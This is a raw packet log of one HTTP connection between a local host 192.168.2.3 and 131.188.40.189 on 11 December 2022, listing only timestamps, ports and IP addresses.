Dec 11, 2022 09:25:53.477458954 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477461100 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477502108 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477514029 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477545023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477560997 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477587938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477600098 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477633953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477639914 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477677107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477689981 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477720976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477744102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477763891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477786064 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477807999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477817059 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477854967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477864027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477899075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477909088 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477941990 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477986097 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477991104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477991104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478029966 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478041887 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478074074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478087902 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478126049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478127003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478169918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478182077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478213072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478225946 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478256941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478266001 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478298903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478312016 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478343010 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478349924 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478385925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478396893 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478430033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478441954 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478475094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478487015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478518009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478529930 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478560925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478570938 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478602886 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478615046 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478646040 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478657961 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478689909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478703976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478732109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478748083 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478775024 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478787899 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478818893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478827953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478862047 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478873968 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478924036 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.478926897 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.478991032 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.498902082 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.498977900 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499001980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499005079 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499047995 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499073982 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499073982 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499093056 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499099970 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499136925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499155045 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499181032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499193907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499226093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499236107 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499269009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499283075 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499314070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499325991 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499358892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499371052 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499402046 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499418020 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499445915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499458075 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499491930 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499502897 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499536037 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499548912 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499579906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499592066 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499624968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499638081 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499667883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499681950 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499713898 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499726057 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499758005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499773026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499803066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499816895 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499847889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499864101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499891996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499912024 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499937057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499947071 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.499980927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.499994040 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500025988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500037909 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500068903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500085115 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500112057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500138044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500154972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500175953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500200033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500212908 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500242949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500257969 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500286102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500298023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500329018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500344038 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500371933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500389099 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500416040 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500437021 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500458002 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500468969 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500502110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500511885 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500545979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500555038 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500588894 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500605106 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500634909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500642061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500678062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500690937 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500734091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500754118 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500777960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500804901 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500822067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500834942 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500865936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500879049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500910044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500920057 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500953913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.500966072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.500999928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501012087 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501044035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501054049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501085997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501101971 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501132011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501141071 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501174927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501188993 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501219034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501229048 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501264095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501275063 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501307964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501322031 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501352072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501364946 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501395941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501411915 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501439095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501451015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501494884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501503944 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501538992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501549959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501581907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501594067 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501627922 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501640081 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501671076 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501683950 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501715899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501727104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501760960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501774073 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501804113 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501821041 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501847982 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501858950 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501893044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501904011 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501935005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501946926 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.501980066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.501991034 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502023935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502036095 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502068996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502083063 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502111912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502125025 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502155066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502167940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502198935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502209902 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502242088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502252102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502285004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502298117 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502327919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502341986 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502377033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502419949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502419949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502448082 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502463102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502506018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502506018 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502548933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502553940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502553940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502592087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502604961 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502635002 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502644062 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502679110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502693892 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502721071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502732992 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502764940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502774000 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502809048 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502820969 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502851963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502862930 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502907991 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.502913952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502957106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.502970934 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503001928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503010988 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503043890 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503056049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503088951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503103971 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503134012 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503146887 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503181934 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503201962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503226042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503235102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503268957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503283978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503313065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503324986 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503355980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503366947 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503398895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503412962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503443003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503452063 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503485918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503495932 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503530025 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.503542900 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.503585100 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523473978 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523529053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523617983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523617983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523663998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523703098 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523726940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523741007 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523755074 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523799896 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523884058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523922920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523950100 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.523966074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523988962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.523992062 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524030924 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524030924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524050951 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524070024 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524087906 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524107933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524127960 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524147987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524167061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524185896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524203062 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524224043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524244070 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524280071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524291992 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524318933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524344921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524383068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524421930 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524456024 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524456024 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524458885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524497032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524533033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524534941 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524570942 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524575949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524595976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524609089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524620056 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524648905 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524665117 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524688005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524699926 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524725914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524741888 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524765015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524780035 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524801016 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.524815083 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.524940014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.526797056 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.570410013 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.829087019 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.829215050 CET	49719	80	192.168.2.3	131.188.40.189
